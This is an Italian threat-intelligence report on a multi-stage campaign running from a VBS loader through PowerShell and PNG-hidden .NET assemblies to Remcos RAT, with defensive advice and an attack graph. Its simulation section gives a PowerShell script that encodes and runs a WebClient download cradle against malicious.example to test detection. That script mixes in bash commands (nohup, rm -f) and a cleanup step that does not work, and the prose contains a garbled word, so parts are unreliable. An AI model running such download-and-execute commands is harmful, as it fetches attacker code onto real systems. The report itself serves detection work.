SOC Prime Bias: Media

25 Mar 2026 17:26

Tracciamento di una Campagna Malware Multi-Vector: Da VBS a Infrastruttura Aperta

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Tracciamento di una Campagna Malware Multi-Vector: Da VBS a Infrastruttura Aperta
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Il report copre una campagna malware modulare e a più fasi che inizia con un loader VBS offuscato in Unicode, passa a un loader PowerShell senza file e utilizza file PNG per nascondere un assembly .NET che viene poi eseguito in memoria. Da lì, la campagna può fornire più payload, inclusi Remcos RAT, DLL per bypassare UAC e strumenti basati su Python. L’attore della minaccia ospita l’intero toolkit in directory aperte sotto un unico dominio .xyz e diversi sottodomini supportati da Cloudflare, consentendo rapidi scambi di payload e percorsi di consegna multipli come PDF armati e script batch malevoli.

Indagine

L’MDR SOC di LevelBlue ha rilevato l’artefatto VBS iniziale tramite SentinelOne, lo ha messo in quarantena e ha decodificato lo script per l’analisi. Gli investigatori hanno trovato un comando PowerShell codificato in Base64 che scaricava file PNG contenenti assembly .NET incorporati, che venivano poi caricati direttamente in memoria tramite reflection. Una revisione più ampia dell’infrastruttura ha esposto directory aperte che servivano non solo caricaperfoği VBS aggiuntivi, ma anche file batch malevoli, archivi ZIP e payload Python legati alla stessa campagna.

Mitigazione

Le difese consigliate includono limitare l’esecuzione di tipi di script ad alto rischio come .vbs e .bat da percorsi scrivibili dall’utente, applicare controlli rigorosi sull’uso di PowerShell e monitorare il caricamento sospetto della memoria .NET. I difensori dovrebbero anche bloccare i domini .xyz e ispezionare o limitare attentamente il traffico WebDAV abusato tramite file di scorciatoie Internet. Al livello di rete, filtrare l’accesso all’infrastruttura dannosa nota può aiutare a interrompere la campagna in anticipo.

Risposta

Se viene rilevata questa attività, isolare l’endpoint impattato, bloccare tutti i domini e gli URL associati e cercare gli artefatti VBS e PowerShell pertinenti. Gli investigatori dovrebbero cercare in memoria l’assembly .NET riflesso e controllare il sistema per i task programmati o i file creati dalle directory esposte. Il contenuto del rilevamento dovrebbe essere aggiornato per identificare l’impalco di payload basato su PNG e qualsiasi componente batch o Python collegato alla campagna.

"graph TB %% Class definitions classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Nodes node_vbs_file["<b>Malware</b> – <b>Nome</b>: VBS malevolo<br/><b>Posizione</b>: UsersPublicDownloadsNome_File.vbs"] class node_vbs_file malware node_t1059_005["<b>Tecnica</b> – T1059.005 Command and Scripting Interpreter: Visual Basic<br/><b>Descrizione</b>: Eseguire lo script VBS per eseguire i comandi"] class node_t1059_005 technique node_t1027["<b>Tecnica</b> – T1027 File o Informazioni Offuscati<br/><b>Descrizione</b>: Usa l’offuscamento Unicode e Base64"] class node_t1027 technique node_vbs_decode["<b>Azione</b> – Decodificare il comando PowerShell codificato in Base64"] class node_vbs_decode action node_t1059_001["<b>Tecnica</b> – T1059.001 PowerShell<br/><b>Descrizione</b>: Eseguire comandi PowerShell"] class node_t1059_001 technique node_tls12["<b>Azione</b> – Forzare TLS1.2 per connessioni di rete"] class node_tls12 action node_download_png["<b>Azione</b> – Scaricare il payload PNG dall’URL HTTP"] class node_download_png action node_t1071_001["<b>Tecnica</b> – T1071.001 Protocollo Layer Applicativo: Protocolli Web<br/><b>Descrizione</b>: Usa HTTP/HTTPS per il trasferimento"] class node_t1071_001 technique node_t1659["<b>Tecnica</b> – T1659 Iniezione di Contenuti<br/><b>Descrizione</b>: Iniettare contenuti malevoli in file legittimi"] class node_t1659 technique node_png_extraction["<b>Azione</b> – Estrarre assembly .NET in Base64 da PNG"] class node_png_extraction action node_t1620["<b>Tecnica</b> – T1620 Caricamento di Codice Riflessivo<br/><b>Descrizione</b>: Caricare l’assembly .NET direttamente in memoria"] class node_t1620 technique node_loader["<b>Malware</b> – PhantomVAI loader .NET"] class node_loader malware node_fetch_payloads["<b>Azione</b> – Recuperare URL di payload aggiuntivi"] class node_fetch_payloads action node_remcos_rat["<b>Malware</b> – Remcos Trojan di Accesso Remoto"] class node_remcos_rat malware node_uac_bypass["<b>Tecnica</b> – T1548.002 Bypass del Controllo dell’Account Utente<br/><b>Descrizione</b>: Bypassare il meccanismo di controllo di elevazione"] class node_uac_bypass technique node_scheduled_task["<b>Tecnica</b> – T1053 Task/Job Programmato<br/><b>Descrizione</b>: Creare un task programmato per persistenza"] class node_scheduled_task technique node_secondary_stage["<b>Azione</b> – Distribuire script batch e Python"] class node_secondary_stage action node_process_injection["<b>Tecnica</b> – T1055 Iniezione di Processo<br/><b>Descrizione</b>: Iniettare payload nei processi in esecuzione"] class node_process_injection technique node_download_further["<b>Azione</b> – Scaricare ulteriori file dalle directory Cloudflare"] class node_download_further action node_c2_communication["<b>Tecnica</b> – T1102.002 Servizio Web: Comunicazione Bidirezionale<br/><b>Descrizione</b>: Traffico C2 HTTPS usando servizi web"] class node_c2_communication technique node_open_directory["<b>Infrastruttura</b> – Directory aperte ospitate (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Connections node_vbs_file –>|usa| node_t1059_005 node_vbs_file –>|usa| node_t1027 node_vbs_file –>|esegue| node_vbs_decode node_vbs_decode –>|esegue| node_t1059_001 node_vbs_decode –>|forza| node_tls12 node_vbs_decode –>|scarica| node_download_png node_download_png –>|usa| node_t1071_001 node_download_png –>|può usare| node_t1659 node_download_png –>|contiene| node_png_extraction node_png_extraction –>|carica via| node_t1620 node_t1620 –>|carica| node_loader node_loader –>|recupera| node_fetch_payloads node_fetch_payloads –>|consegna| node_remcos_rat node_fetch_payloads –>|consegna| node_uac_bypass node_loader –>|crea| node_scheduled_task node_loader –>|genera| node_secondary_stage node_secondary_stage –>|esegue| node_process_injection node_secondary_stage –>|scarica| node_download_further node_download_further –>|comunica con| node_c2_communication node_c2_communication –>|ospitato su| node_open_directory "

Attacco Flusso

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-Volo di Telemetria & Baseline deve essere passato.

Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione dell’attacco & Comandi:

    Un avversario ha ottenuto una riga singola PowerShell che scarica un payload malevolo da un server HTTP remoto ed esegue. Per eludere la semplice rilevazione dello script-file, il comando è codificato in Base64 e eseguito tramite powershell.exe -EncodedCommand. Pertanto, la linea di comando contiene le tre stringhe che la regola rileva: powershell, Base64, e Net.WebClient.

    1. L’attaccante crea lo script PowerShell:

      $wc = New-Object System.Net.WebClient;
      $wc.DownloadString('http://malicious.example/payload');
    2. Lo script è codificato in UTF‑16LE e Base64.

    3. L’attaccante esegue il comando codificato da un prompt dei comandi di Windows (o un task programmato).

  • Script di Test di Regressione:

    # --------------------------------------------------------------
    # Script PowerShell per simulare il download Base64‑codificato usando Net.WebClient
    # --------------------------------------------------------------
    
    # 1. Definire la riga singola PowerShell malevola
    $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');'
    
    # 2. Codificare il comando in UTF‑16LE e poi in Base64
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # 3. Eseguire il comando codificato – questa linea genera la telemetria
    #    che la regola Sigma cerca (powershell + Base64 + Net.WebClient)
    rm -f nohup.out
    nohup powershell.exe -EncodedCommand $b64 &
  • Comandi di Pulizia:

    # --------------------------------------------------------------
    # Pulizia – termina eventuali processi PowerShell superflui avviati dal test
    # --------------------------------------------------------------
    
    Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } |
        Stop-Process -Force
    
    # Rimuovere eventuali file temporanei (nessuno creato in questo test)

Fine del Report